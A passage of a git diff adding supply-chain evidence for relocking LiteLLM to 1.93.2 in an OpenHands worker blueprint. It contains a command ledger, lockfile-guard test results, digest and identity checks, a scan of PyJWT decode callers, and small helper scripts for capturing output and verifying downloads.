"--exclude-newer-package", + "lmnr=2026-08-23T00:00:00Z", + "--output-file", + "/blueprints/runtime-workers/openhands/requirements.lock" + ], + "cwd": "", + "started_utc": "2026-09-30T21:53:53.316999+00:00", + "ended_utc": "2026-09-30T21:53:53.539042+00:00", + "exit_code": 0, + "original_streams": { + "stdout": { + "file": "native-recipe-lock-compile.stdout.txt", + "bytes": 250484, + "sha256": "38c20c899b8d7b08e03a04624daa17ba1fc353533fbff450bb0ac2bddd0832eb" + }, + "stderr": { + "file": "native-recipe-lock-compile.stderr.txt", + "bytes": 31, + "sha256": "0478aad1ad8c8b08dc564a113be93d75d36f9385d680069c8d1ddaabcfe8f47d" + } + }, + "evidence_class": "local_integration", + "public_returned_output": { + "stdout": { + "reuse_exact_lock_bytes": true, + "sha256": "38c20c899b8d7b08e03a04624daa17ba1fc353533fbff450bb0ac2bddd0832eb", + "bytes": 250484, + "source": "blueprints/runtime-workers/openhands/requirements.lock" + }, + "stderr": { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-native-recipe-lock-compile.stderr.txt", + "sha256": "0478aad1ad8c8b08dc564a113be93d75d36f9385d680069c8d1ddaabcfe8f47d", + "bytes": 31, + "sanitization": "Declared path substitutions only; no test or command source was changed." + } + } + }, + { + "id": "focused-guard-tests", + "argv": [ + "rtk", + "proxy", + "python3", + "-B", + "-m", + "unittest", + "tests.test_osv_lockfile_coverage", + "-v" + ], + "cwd": "", + "started_utc": "2026-09-30T22:02:15.825109+00:00", + "ended_utc": "2026-09-30T22:02:16.257383+00:00", + "exit_code": 0, + "original_streams": { + "stdout": { + "file": "focused-guard-tests.stdout.txt", + "bytes": 0, + "sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855" + }, + "stderr": { + "file": "focused-guard-tests.stderr.txt", + "bytes": 6323, + "sha256": "ffd5c73820b250090b14c6f778a819ae429a70504669d1752dd3f1c4cca483c0" + } + }, + "evidence_class": "local_integration", + "public_returned_output": { + "stdout": { + "empty_original_stream": true + }, + "stderr": { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-focused-guard-tests.stderr.txt", + "sha256": "ffd5c73820b250090b14c6f778a819ae429a70504669d1752dd3f1c4cca483c0", + "bytes": 6323, + "sanitization": "Declared path substitutions only; no test or command source was changed." + } + } + }, + { + "id": "source-validation-before-index", + "argv": [ + "rtk", + "proxy", + "python3", + "scripts/validate.py" + ], + "cwd": "", + "started_utc": "2026-09-30T22:02:15.825128+00:00", + "ended_utc": "2026-09-30T22:02:34.818293+00:00", + "exit_code": 1, + "original_streams": { + "stdout": { + "file": "source-validation-before-index.stdout.txt", + "bytes": 489, + "sha256": "485944c34511b8adc3b287efb2b90bf491442c05ef21b69649d072a6e3ba96c5" + }, + "stderr": { + "file": "source-validation-before-index.stderr.txt", + "bytes": 0, + "sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855" + } + }, + "evidence_class": "local_integration", + "public_returned_output": { + "stdout": { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-source-validation-before-index.stdout.txt", + "sha256": "485944c34511b8adc3b287efb2b90bf491442c05ef21b69649d072a6e3ba96c5", + "bytes": 489, + "sanitization": "Declared path substitutions only; no test or command source was changed." + }, + "stderr": { + "empty_original_stream": true + } + } + }, + { + "id": "source-whitespace-check", + "argv": [ + "rtk", + "proxy", + "git", + "diff", + "--check" + ], + "cwd": "", + "started_utc": "2026-09-30T22:02:15.826189+00:00", + "ended_utc": "2026-09-30T22:02:16.095293+00:00", + "exit_code": 0, + "original_streams": { + "stdout": { + "file": "source-whitespace-check.stdout.txt", + "bytes": 0, + "sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855" + }, + "stderr": { + "file": "source-whitespace-check.stderr.txt", + "bytes": 0, + "sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855" + } + }, + "evidence_class": "local_integration", + "public_returned_output": { + "stdout": { + "empty_original_stream": true + }, + "stderr": { + "empty_original_stream": true + } + } + }, + { + "id": "oauthlib-alias-callers-after-test-tools", + "argv": [ + "rtk", + "proxy", + "/venv/bin/python", + "/blueprints/runtime-workers/openhands/evidence/wheel-relock-20260930-oauthlib-callers.py.txt", + "/venv/lib/python3.13/site-packages", + "/blueprints/runtime-workers/openhands" + ], + "cwd": "", + "started_utc": "2026-09-30T22:04:47.689351+00:00", + "ended_utc": "2026-09-30T22:05:12.830800+00:00", + "exit_code": 0, + "original_streams": { + "stdout": { + "file": "oauthlib-alias-callers-after-test-tools.stdout.txt", + "bytes": 37078, + "sha256": "405e7b566f850c1e74df81980bab0f2ee513ab31bc2121e87a32e793af75494c" + }, + "stderr": { + "file": "oauthlib-alias-callers-after-test-tools.stderr.txt", + "bytes": 0, + "sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855" + } + }, + "evidence_class": "local_integration", + "public_returned_output": { + "stdout": { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-oauthlib-alias-callers-after-test-tools.stdout.txt", + "sha256": "405e7b566f850c1e74df81980bab0f2ee513ab31bc2121e87a32e793af75494c", + "bytes": 37078, + "sanitization": "Declared path substitutions only; no test or command source was changed." + }, + "stderr": { + "empty_original_stream": true + } + } + }, + { + "id": "maintained-jwt-callers-after-test-tools", + "argv": [ + "rtk", + "proxy", + "/venv/bin/python", + "/blueprints/runtime-workers/openhands/evidence/relock-2026-09-30.jwt-callers.py.txt", + "/venv/lib/python3.13/site-packages", + "/blueprints/runtime-workers/openhands" + ], + "cwd": "", + "started_utc": "2026-09-30T22:04:47.692452+00:00", + "ended_utc": "2026-09-30T22:04:53.859017+00:00", + "exit_code": 0, + "original_streams": { + "stdout": { + "file": "maintained-jwt-callers-after-test-tools.stdout.txt", + "bytes": 2926, + "sha256": "c2dca1cfb8bb6e6311f10ed2ff973ea8df6c900cd01092e99e1c421d7078d08e" + }, + "stderr": { + "file": "maintained-jwt-callers-after-test-tools.stderr.txt", + "bytes": 0, + "sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855" + } + }, + "evidence_class": "local_integration", + "public_returned_output": { + "stdout": { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-maintained-jwt-callers-after-test-tools.stdout.txt", + "sha256": "c2dca1cfb8bb6e6311f10ed2ff973ea8df6c900cd01092e99e1c421d7078d08e", + "bytes": 2926, + "sanitization": "Declared path substitutions only; no test or command source was changed." + }, + "stderr": { + "empty_original_stream": true + } + } + } + ] +} diff --git a/blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-exact-runtime-and-source-identities.stderr.txt b/blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-exact-runtime-and-source-identities.stderr.txt new file mode 100644 index 000000000..f2cbd8af0 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-exact-runtime-and-source-identities.stderr.txt @@ -0,0 +1,10 @@ ++----------------------------------------------------------------------+ +| OpenHands SDK v1.50.0 | +| | +| Report a bug: github.com/OpenHands/software-agent-sdk/issues | +| Get help: openhands.dev/joinslack | +| Scale up: openhands.dev/product/sdk | +| | +| Set OPENHANDS_SUPPRESS_BANNER=1 to hide this message | ++----------------------------------------------------------------------+ + diff --git a/blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-exact-runtime-and-source-identities.stdout.txt b/blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-exact-runtime-and-source-identities.stdout.txt new file mode 100644 index 000000000..fcb70f0b3 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-exact-runtime-and-source-identities.stdout.txt @@ -0,0 +1,87 @@ +{ + "target": "Linux x86_64 CPython 3.13.15 only", + "baseline_requirements_sha256": "83293867247323c4d8fc463096e8a9c01dbee2ada5898112bbbb7d1a62a8b47a", + "candidate_requirements_sha256": "38c20c899b8d7b08e03a04624daa17ba1fc353533fbff450bb0ac2bddd0832eb", + "baseline_control_byte_identical": true, + "explicit_no_config_recompile_byte_identical": true, + "declared_requirements": 176, + "changed_package_blocks": [ + "litellm" + ], + "other_package_blocks_byte_identical": 175, + "added": [], + "removed": [], + "installed_versions_checked": 176, + "version_mismatches": [], + "installed_distributions_including_build_and_test_tools": 182, + "qualification_tools": { + "pytest": "9.0.3", + "pytest-asyncio": "1.3.0", + "pluggy": "1.6.0", + "iniconfig": "2.3.0" + }, + "oauth_review_identities": [ + { + "path": "oauthlib/__init__.py", + "sha256": "ccbf8a40b750b21931f842b1b416e0bb5cb24e97f54d127b42d7da38eb1d5dc4" + }, + { + "path": "oauthlib/oauth1/__init__.py", + "sha256": "e3b84443bb3f1595cbc94b7a5d513e0cf0bcbd4315b0997bffe1c290d3362253" + }, + { + "path": "oauthlib/oauth2/__init__.py", + "sha256": "2bb207c3f04d0992d24d0a807d0aac2cad0ad3303afcaad00c2cdce12fb7de24" + }, + { + "path": "oauthlib/common.py", + "sha256": "39e686f928b00d7004b0ad5f921e4669b8123c68c6e0072ec2eab007986b1bf0" + }, + { + "path": "oauthlib/oauth2/rfc6749/endpoints/revocation.py", + "sha256": "ebc5248a9cfb50e75e04298ee4a4d1a34bf06d415df2d4c6db60a4d21165ba6c" + }, + { + "path": "oauthlib/oauth2/rfc6749/grant_types/authorization_code.py", + "sha256": "0d6931601c4e88a078fb3ccf5f052c035ad6a4bb2171efb9c218e088a7272dc6" + }, + { + "path": "oauthlib/oauth2/rfc6749/endpoints/pre_configured.py", + "sha256": "6fe072e29e94f0bb6fa65bf8a223893b2702e8d77c52494b389f75bb3ebc6316" + }, + { + "path": "oauthlib/openid/connect/core/endpoints/pre_configured.py", + "sha256": "bc6ff1a5fa23c2dcc3a782125e13d93355e73abf2e4fadc406b86ebce121e7ee" + }, + { + "path": "func_timeout/py2_raise.py", + "sha256": "19d989963807de3847a00bbe90337fd9100a79cee4327683b601e4bc96225b77" + } + ], + "official_sdist_name_reviews": [ + { + "version": "1.93.0", + "archive_sha256": "140bf215e264c71601bca9c06d2436c5451bb59e1e195ea23fc2d3d87b6929ec", + "python_sources": 2104, + "advisory_name_hits": [], + "parse_errors": [] + }, + { + "version": "1.93.2", + "archive_sha256": "c5d5223ef07f36e0886397fb45cc9db4150f86a0c6f6835cee1d5524cab69dfd", + "python_sources": 2104, + "advisory_name_hits": [], + "parse_errors": [] + } + ], + "candidate_wheel_sha256": "dee1b02b7f52a5a408bf7c8d499f0834e49194651743758a511dcdd926c0b692", + "candidate_python_sources_compared": 2104, + "wheel_to_installed_mismatches": [], + "wheel_to_sdist_mismatches": [], + "native_imports_passed": true, + "limitations": [ + "Static name/AST review does not prove semantic or dynamic unreachability.", + "One compiled LiteLLM extension is not assessed by the Python source scan.", + "No proxy-server, provider, model, image, host deployment or task-quality execution." + ] +} diff --git a/blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-focused-guard-tests.stderr.txt b/blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-focused-guard-tests.stderr.txt new file mode 100644 index 000000000..f123d1777 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-focused-guard-tests.stderr.txt @@ -0,0 +1,43 @@ +test_a_missing_allowed_lock_is_reported (tests.test_osv_lockfile_coverage.AllowedLockTests.test_a_missing_allowed_lock_is_reported) ... ok +test_allowed_advisories_are_scoped_active_ignores (tests.test_osv_lockfile_coverage.AllowedLockTests.test_allowed_advisories_are_scoped_active_ignores) ... ok +test_an_allowed_lock_is_exempt_only_for_the_advisories_it_lists (tests.test_osv_lockfile_coverage.AllowedLockTests.test_an_allowed_lock_is_exempt_only_for_the_advisories_it_lists) ... ok +test_an_ignore_is_active_only_before_its_ignore_until_date (tests.test_osv_lockfile_coverage.AllowedLockTests.test_an_ignore_is_active_only_before_its_ignore_until_date) ... ok +test_an_include_in_an_allowed_lock_is_flagged_and_not_exempt (tests.test_osv_lockfile_coverage.AllowedLockTests.test_an_include_in_an_allowed_lock_is_flagged_and_not_exempt) ... ok +test_every_allowed_lock_is_an_inventory_lockfile (tests.test_osv_lockfile_coverage.AllowedLockTests.test_every_allowed_lock_is_an_inventory_lockfile) ... ok +test_every_allowed_lock_is_self_contained (tests.test_osv_lockfile_coverage.AllowedLockTests.test_every_allowed_lock_is_self_contained) ... ok +test_every_allowed_lock_matches_its_reviewed_digest (tests.test_osv_lockfile_coverage.AllowedLockTests.test_every_allowed_lock_matches_its_reviewed_digest) ... ok +test_every_allowed_lock_names_existing_evidence (tests.test_osv_lockfile_coverage.AllowedLockTests.test_every_allowed_lock_names_existing_evidence) ... ok +test_the_digest_check_catches_a_changed_byte (tests.test_osv_lockfile_coverage.AllowedLockTests.test_the_digest_check_catches_a_changed_byte) ... ok +test_the_digest_check_reads_every_allowed_lock (tests.test_osv_lockfile_coverage.AllowedLockTests.test_the_digest_check_reads_every_allowed_lock) ... ok +test_the_digest_is_taken_over_bytes_not_text (tests.test_osv_lockfile_coverage.AllowedLockTests.test_the_digest_is_taken_over_bytes_not_text) ... ok +test_each_frozen_config_holds_exactly_the_advisories_of_its_locks (tests.test_osv_lockfile_coverage.FrozenScanTests.test_each_frozen_config_holds_exactly_the_advisories_of_its_locks) ... ok +test_each_frozen_lock_matches_its_reviewed_digest_and_names_evidence (tests.test_osv_lockfile_coverage.FrozenScanTests.test_each_frozen_lock_matches_its_reviewed_digest_and_names_evidence) ... ok +test_only_the_frozen_locks_name_a_config (tests.test_osv_lockfile_coverage.FrozenScanTests.test_only_the_frozen_locks_name_a_config) ... ok +test_the_ordinary_config_has_no_exception_for_a_frozen_advisory (tests.test_osv_lockfile_coverage.FrozenScanTests.test_the_ordinary_config_has_no_exception_for_a_frozen_advisory) ... ok +test_the_partition_check_catches_a_mutant_inventory (tests.test_osv_lockfile_coverage.FrozenScanTests.test_the_partition_check_catches_a_mutant_inventory) ... ok +test_the_split_is_exhaustive_and_disjoint (tests.test_osv_lockfile_coverage.FrozenScanTests.test_the_split_is_exhaustive_and_disjoint) ... ok +test_the_workflow_scans_each_config_in_its_own_invocation (tests.test_osv_lockfile_coverage.FrozenScanTests.test_the_workflow_scans_each_config_in_its_own_invocation) ... ok +test_a_continuation_is_joined_before_a_requirement_is_read (tests.test_osv_lockfile_coverage.IgnorePolicyTests.test_a_continuation_is_joined_before_a_requirement_is_read) ... ok +test_a_tracked_version_that_is_not_a_plain_release_fails_closed (tests.test_osv_lockfile_coverage.IgnorePolicyTests.test_a_tracked_version_that_is_not_a_plain_release_fails_closed) ... ok +test_a_uv_lock_pin_is_read (tests.test_osv_lockfile_coverage.IgnorePolicyTests.test_a_uv_lock_pin_is_read) ... ok +test_an_include_that_names_no_file_fails_closed (tests.test_osv_lockfile_coverage.IgnorePolicyTests.test_an_include_that_names_no_file_fails_closed) ... ok +test_documented_options_that_name_no_package_pass (tests.test_osv_lockfile_coverage.IgnorePolicyTests.test_documented_options_that_name_no_package_pass) ... ok +test_equality_extras_markers_spacing_and_case_are_read (tests.test_osv_lockfile_coverage.IgnorePolicyTests.test_equality_extras_markers_spacing_and_case_are_read) ... ok +test_every_ignore_has_id_reason_and_a_near_expiry (tests.test_osv_lockfile_coverage.IgnorePolicyTests.test_every_ignore_has_id_reason_and_a_near_expiry) ... ok +test_includes_are_followed_relative_to_the_including_file (tests.test_osv_lockfile_coverage.IgnorePolicyTests.test_includes_are_followed_relative_to_the_including_file) ... ok +test_lines_the_guard_cannot_parse_fail_closed (tests.test_osv_lockfile_coverage.IgnorePolicyTests.test_lines_the_guard_cannot_parse_fail_closed) ... ok +test_no_other_suppression_mechanism_bypasses_the_policy (tests.test_osv_lockfile_coverage.IgnorePolicyTests.test_no_other_suppression_mechanism_bypasses_the_policy) ... ok +test_repo_wide_ignores_hide_nothing_outside_their_allowed_lock (tests.test_osv_lockfile_coverage.IgnorePolicyTests.test_repo_wide_ignores_hide_nothing_outside_their_allowed_lock) ... ok +test_the_ignore_field_check_catches_a_mutant (tests.test_osv_lockfile_coverage.IgnorePolicyTests.test_the_ignore_field_check_catches_a_mutant) ... ok +test_the_scope_guard_catches_a_mutant (tests.test_osv_lockfile_coverage.IgnorePolicyTests.test_the_scope_guard_catches_a_mutant) ... ok +test_entries_are_unique_existing_files (tests.test_osv_lockfile_coverage.LockfileInventoryTests.test_entries_are_unique_existing_files) ... ok +test_every_tracked_lockfile_and_manifest_is_listed (tests.test_osv_lockfile_coverage.LockfileInventoryTests.test_every_tracked_lockfile_and_manifest_is_listed) ... ok +test_exclusions_are_reasoned_fixtures_not_scanned_anywhere (tests.test_osv_lockfile_coverage.LockfileInventoryTests.test_exclusions_are_reasoned_fixtures_not_scanned_anywhere) ... ok +test_manifests_without_an_extractor_point_at_a_scanned_lockfile (tests.test_osv_lockfile_coverage.LockfileInventoryTests.test_manifests_without_an_extractor_point_at_a_scanned_lockfile) ... ok +test_parsers_are_explicit_where_osv_cannot_infer_them (tests.test_osv_lockfile_coverage.LockfileInventoryTests.test_parsers_are_explicit_where_osv_cannot_infer_them) ... ok +test_workflow_scans_the_inventory_with_the_config (tests.test_osv_lockfile_coverage.LockfileInventoryTests.test_workflow_scans_the_inventory_with_the_config) ... ok + +---------------------------------------------------------------------- +Ran 38 tests in 0.335s + +OK diff --git a/blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-fresh-venv.stderr.txt b/blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-fresh-venv.stderr.txt new file mode 100644 index 000000000..e33feed1e --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-fresh-venv.stderr.txt @@ -0,0 +1,3 @@ +Using CPython 3.13.15 interpreter at: /.local/share/uv/python/cpython-3.13.15-linux-x86_64-gnu/bin/python3.13 +Creating virtual environment at: /venv +Activate with: source /venv/bin/activate diff --git a/blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-litellm-baseline-sdist-download.stdout.txt b/blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-litellm-baseline-sdist-download.stdout.txt new file mode 100644 index 000000000..c5f9a2ce4 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-litellm-baseline-sdist-download.stdout.txt @@ -0,0 +1 @@ +{"filename": "litellm-1.93.0.tar.gz", "bytes": 15948866, "sha256": "140bf215e264c71601bca9c06d2436c5451bb59e1e195ea23fc2d3d87b6929ec", "official_download_digest_match": true} diff --git a/blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-litellm-candidate-sdist-download.stdout.txt b/blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-litellm-candidate-sdist-download.stdout.txt new file mode 100644 index 000000000..c1a95b07d --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-litellm-candidate-sdist-download.stdout.txt @@ -0,0 +1 @@ +{"filename": "litellm-1.93.2.tar.gz", "bytes": 15955441, "sha256": "c5d5223ef07f36e0886397fb45cc9db4150f86a0c6f6835cee1d5524cab69dfd", "official_download_digest_match": true} diff --git a/blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-litellm-candidate-wheel-download.stdout.txt b/blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-litellm-candidate-wheel-download.stdout.txt new file mode 100644 index 000000000..c9c2e35c0 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-litellm-candidate-wheel-download.stdout.txt @@ -0,0 +1 @@ +{"filename": "litellm-1.93.2-cp313-cp313-manylinux_2_28_x86_64.whl", "bytes": 20158336, "sha256": "dee1b02b7f52a5a408bf7c8d499f0834e49194651743758a511dcdd926c0b692", "official_download_digest_match": true} diff --git a/blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-maintained-jwt-callers-after-test-tools.stdout.txt b/blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-maintained-jwt-callers-after-test-tools.stdout.txt new file mode 100644 index 000000000..7c72a41b2 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-maintained-jwt-callers-after-test-tools.stdout.txt @@ -0,0 +1,37 @@ +python files searched (all installed packages except PyJWT's own files and installer tooling): 10835 + +# PyJWT importers: the names bound to it, and decode-style calls through those names +google: 1 file(s) import PyJWT + oauth2/id_token.py: jwt bound as ['jwt_lib']: 1 decode-style line(s) ['146: return jwt_lib.decode('] +litellm: 7 file(s) import PyJWT + proxy/proxy_server.py: jwt bound as ['jwt']: 1 decode-style line(s) ['13624: return jwt.decode('] + proxy/auth/handle_jwt.py: jwt bound as ['jwt']; from jwt import ['PyJWK']: 3 decode-style line(s) ['154: claims = jwt.decode(', '942: return jwt.decode(', '957: return jwt.decode('] + proxy/management_endpoints/ui_sso.py: jwt bound as ['jwt']: 3 decode-style line(s) ['766: access_token_payload = jwt.decode(access_token_str, options={"verify_sig', '3719: userinfo = jwt.decode(id_token, options={"verify_signature": False})', '3915: decoded_token = jwt.decode(id_token, options={"verify_signature": False}'] + proxy/management_endpoints/mcp_management_endpoints.py: jwt bound as ['_jwt']: 1 decode-style line(s) ['1516: decoded = _jwt.decode('] + proxy/guardrails/guardrail_hooks/mcp_jwt_signer/mcp_jwt_signer.py: jwt bound as ['jwt']; from jwt import ['PyJWKSet']: 1 decode-style line(s) ['458: payload: Dict[str, Any] = jwt.decode(raw_token, signing_jwk.key, **decod'] + proxy/_experimental/mcp_server/byok_oauth_endpoints.py: jwt bound as ['jwt']: 1 decode-style line(s) ['106: payload = jwt.decode('] + proxy/_experimental/mcp_server/outbound_credentials/envelope.py: jwt bound as ['jwt']: 1 decode-style line(s) ['323: payload = jwt.decode('] +mcp: 1 file(s) import PyJWT + client/auth/extensions/client_credentials.py: jwt bound as ['jwt']: 0 decode-style line(s) [] +oauthlib: 3 file(s) import PyJWT + common.py: jwt bound as ['jwt']: 1 decode-style line(s) ["221: return jwt.decode(token, public_pem, algorithms=['RS256'])"] + oauth1/rfc5849/signature.py: jwt module not bound (from-imports only); submodule aliases ['jwt_algorithms']: 0 decode-style line(s) [] + oauth2/rfc6749/clients/service_application.py: jwt bound as ['jwt']: 0 decode-style line(s) [] +redis: 1 file(s) import PyJWT + auth/token.py: jwt bound as ['jwt']: 1 decode-style line(s) ['89: self._decoded = jwt.decode('] + +# references from outside the importing package to the code that holds a decode +oauthlib (verify_signed_token): no reference outside oauthlib +redis (auth.token, JWToken): no reference outside redis +google-auth (google.oauth2.id_token): no reference outside google/auth and google/oauth2 +litellm (litellm.proxy): no reference outside litellm + +# redis's decode +redis/auth/token.py:83: import jwt +redis/auth/token.py:89: self._decoded = jwt.decode( +redis/auth/token.py:91: options={"verify_signature": False}, + +# the recipe's own code (recursive) +recipe .py files searched: 12 +recipe .py files importing redis: none +recipe .py files importing jwt: none diff --git a/blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-maintained-jwt-callers.stdout.txt b/blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-maintained-jwt-callers.stdout.txt new file mode 100644 index 000000000..8b5201fa9 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-maintained-jwt-callers.stdout.txt @@ -0,0 +1,37 @@ +python files searched (all installed packages except PyJWT's own files and installer tooling): 10747 + +# PyJWT importers: the names bound to it, and decode-style calls through those names +google: 1 file(s) import PyJWT + oauth2/id_token.py: jwt bound as ['jwt_lib']: 1 decode-style line(s) ['146: return jwt_lib.decode('] +litellm: 7 file(s) import PyJWT + proxy/proxy_server.py: jwt bound as ['jwt']: 1 decode-style line(s) ['13624: return jwt.decode('] + proxy/auth/handle_jwt.py: jwt bound as ['jwt']; from jwt import ['PyJWK']: 3 decode-style line(s) ['154: claims = jwt.decode(', '942: return jwt.decode(', '957: return jwt.decode('] + proxy/management_endpoints/ui_sso.py: jwt bound as ['jwt']: 3 decode-style line(s) ['766: access_token_payload = jwt.decode(access_token_str, options={"verify_sig', '3719: userinfo = jwt.decode(id_token, options={"verify_signature": False})', '3915: decoded_token = jwt.decode(id_token, options={"verify_signature": False}'] + proxy/management_endpoints/mcp_management_endpoints.py: jwt bound as ['_jwt']: 1 decode-style line(s) ['1516: decoded = _jwt.decode('] + proxy/guardrails/guardrail_hooks/mcp_jwt_signer/mcp_jwt_signer.py: jwt bound as ['jwt']; from jwt import ['PyJWKSet']: 1 decode-style line(s) ['458: payload: Dict[str, Any] = jwt.decode(raw_token, signing_jwk.key, **decod'] + proxy/_experimental/mcp_server/byok_oauth_endpoints.py: jwt bound as ['jwt']: 1 decode-style line(s) ['106: payload = jwt.decode('] + proxy/_experimental/mcp_server/outbound_credentials/envelope.py: jwt bound as ['jwt']: 1 decode-style line(s) ['323: payload = jwt.decode('] +mcp: 1 file(s) import PyJWT + client/auth/extensions/client_credentials.py: jwt bound as ['jwt']: 0 decode-style line(s) [] +oauthlib: 3 file(s) import PyJWT + common.py: jwt bound as ['jwt']: 1 decode-style line(s) ["221: return jwt.decode(token, public_pem, algorithms=['RS256'])"] + oauth1/rfc5849/signature.py: jwt module not bound (from-imports only); submodule aliases ['jwt_algorithms']: 0 decode-style line(s) [] + oauth2/rfc6749/clients/service_application.py: jwt bound as ['jwt']: 0 decode-style line(s) [] +redis: 1 file(s) import PyJWT + auth/token.py: jwt bound as ['jwt']: 1 decode-style line(s) ['89: self._decoded = jwt.decode('] + +# references from outside the importing package to the code that holds a decode +oauthlib (verify_signed_token): no reference outside oauthlib +redis (auth.token, JWToken): no reference outside redis +google-auth (google.oauth2.id_token): no reference outside google/auth and google/oauth2 +litellm (litellm.proxy): no reference outside litellm + +# redis's decode +redis/auth/token.py:83: import jwt +redis/auth/token.py:89: self._decoded = jwt.decode( +redis/auth/token.py:91: options={"verify_signature": False}, + +# the recipe's own code (recursive) +recipe .py files searched: 12 +recipe .py files importing redis: none +recipe .py files importing jwt: none diff --git a/blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-method-capture.py.txt b/blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-method-capture.py.txt new file mode 100644 index 000000000..455a50d22 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-method-capture.py.txt @@ -0,0 +1,34 @@ +#!/usr/bin/env python3 +"""Retain original native command streams under this owned private prefix. + +Evidence format follows the accepted pyjwt-relock-20260930 command ledger and +docs/acceptance-evidence-policy.md; this helper is not worker runtime code. +""" +from datetime import datetime, timezone +from pathlib import Path +import hashlib +import json +import os +import subprocess +import sys + +private = Path(__file__).resolve().parent +name, cwd, *argv = sys.argv[1:] +assert name and '/' not in name and argv and argv[0] == 'rtk' +started = datetime.now(timezone.utc).isoformat() +result = subprocess.run(argv, cwd=cwd, stdout=subprocess.PIPE, stderr=subprocess.PIPE) +ended = datetime.now(timezone.utc).isoformat() +bindings = {} +for stream, data in [('stdout', result.stdout), ('stderr', result.stderr)]: + path = private / (name + '.' + stream + '.txt') + path.write_bytes(data) + path.chmod(0o600) + bindings[stream] = {'file': path.name, 'bytes': len(data), + 'sha256': hashlib.sha256(data).hexdigest()} +record = {'id': name, 'argv': argv, 'cwd': cwd, 'started_utc': started, + 'ended_utc': ended, 'exit_code': result.returncode, 'original_streams': bindings} +target = private / (name + '.json') +target.write_text(json.dumps(record, indent=2) + '\n') +target.chmod(0o600) +print(json.dumps({'id': name, 'exit_code': result.returncode, 'original_streams': bindings})) +raise SystemExit(result.returncode) diff --git a/blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-method-download-source.py.txt b/blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-method-download-source.py.txt new file mode 100644 index 000000000..e24a8cf2c --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-method-download-source.py.txt @@ -0,0 +1,17 @@ +#!/usr/bin/env python3 +"""Download official PyPI archives; independently verify the returned digest.""" +from pathlib import Path +import hashlib +import json +import sys +import urllib.request + +name, url, expected = sys.argv[1:] +destination = Path(__file__).resolve().parent / name +data = urllib.request.urlopen(url).read() +actual = hashlib.sha256(data).hexdigest() +assert actual == expected, (name, actual, expected) +destination.write_bytes(data) +destination.chmod(0o600) +print(json.dumps({'filename': name, 'bytes': len(data), 'sha256': actual, + 'official_download_digest_match': True})) diff --git a/blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-method-run-upstream-url-tests.py.txt b/blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-method-run-upstream-url-tests.py.txt new file mode 100644 index 000000000..4eefe9f54 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-method-run-upstream-url-tests.py.txt @@ -0,0 +1,28 @@ +#!/usr/bin/env python3 +"""Run one untouched upstream module against the exact installed wheel. + +pytest.main and --import-mode=append follow the maintained pytest invocation +used by the preceding PyJWT relock. Original LiteLLM config is passed unchanged; +this is a bounded module run, not LiteLLM's complete native workspace suite. +""" +from pathlib import Path +import importlib.metadata as metadata +import sys + +import litellm +import pytest + +private = Path(__file__).resolve().parent +site = private / 'venv/lib/python3.13/site-packages' +target = Path(litellm.__file__).resolve() +assert target.is_relative_to(site.resolve()) +assert metadata.version('litellm') == '1.93.2' +assert metadata.version('pytest') == '9.0.3' +assert metadata.version('pytest-asyncio') == '1.3.0' +print('Installed LiteLLM 1.93.2; pytest 9.0.3; pytest-asyncio 1.3.0', flush=True) +print('installed litellm.__file__=' + str(target), flush=True) +code = pytest.main(['--import-mode=append', '-c', str(private / 'litellm-pyproject.toml'), + '-v', str(private / 'test_url_utils.py')]) +assert Path(litellm.__file__).resolve() == target +print('post-test litellm.__file__=' + str(target), flush=True) +raise SystemExit(code) diff --git 